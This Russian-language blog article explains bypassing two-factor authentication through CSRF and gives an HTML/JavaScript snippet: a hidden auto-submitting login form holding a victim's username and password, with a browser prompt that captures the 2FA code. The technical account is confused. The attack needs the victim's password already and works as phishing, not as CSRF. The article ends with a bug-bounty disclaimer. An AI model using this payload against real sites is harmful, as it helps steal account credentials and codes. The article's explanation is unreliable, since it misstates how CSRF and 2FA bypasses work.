Двухфакторная аутентификация (2FA) – это мера безопасности, которая требует от пользователей предоставить две формы идентификации для доступа к учетной записи. Одна форма идентификации обычно является паролем, а другая – кодом, который генерируется отдельным устройством или отправляется посредством текстового сообщения или электронной почты.
Еще по теме: Обход защиты от CSRF в GraphQL API
Межсайтовая подделка запроса (CSRF) – это уязвимость, которая позволяет злоумышленнику выполнять действия от имени пользователя без его ведома или согласия.
Обхода двухфакторной аутентификации 2FA через CSRF
Вот пример того, как злоумышленник может использовать уязвимость CSRF для обхода 2FA.
Хакер находит уязвимость CSRF на сайте, которая позволяет выполнять действия от имени пользователя. Затем он использует эту уязвимость для отправки запроса на страницу входа сайта с использованием имени пользователя и пароля жертвы.
Хакер также включает скрытое поле ввода, которое автоматически отправляет код, сгенерированный устройством 2FA, как только он введен.
Код:
1 2 3 4 5 6 7 8 9 |
<form action="http://vulnerable-site.com/login" method="POST"> <input type="hidden" name="username" value="victim-username"> <input type="hidden" name="password" value="victim-password"> <input type="hidden" name="2fa" id="2fa"> </form> <script> document.getElementById("2fa").value = prompt("Enter 2FA code:"); document.forms[0].submit(); </script> |
Когда жертва посещает сайт хакера, фрагмент кода выполняется. Форма автоматически отправляет имя пользователя, пароль и код 2FA на страницу входа сайта.
Страница входа сайта недостаточно проверяет и не обрабатывает запрос должным образом, и злоумышленнику удается обойти 2FA и получить доступ к учетной записи жертвы.
Этот код может быть использован для вредоносных действий, поэтому его следует использовать только с разрешением, участвуя в программе Баг Баунти.
Важно отметить, что это всего лишь пример, и различные сайты могут использовать различные меры безопасности для предотвращения уязвимостей CSRF.
Такой фрагмент кода может быть использован для выполнения вредоносных действий от имени пользователя, и необходимо принимать меры для обеспечения безопасности учетных записей и защиты от подобных уязвимостей.
ПОЛЕЗНЫЕ ССЫЛКИ: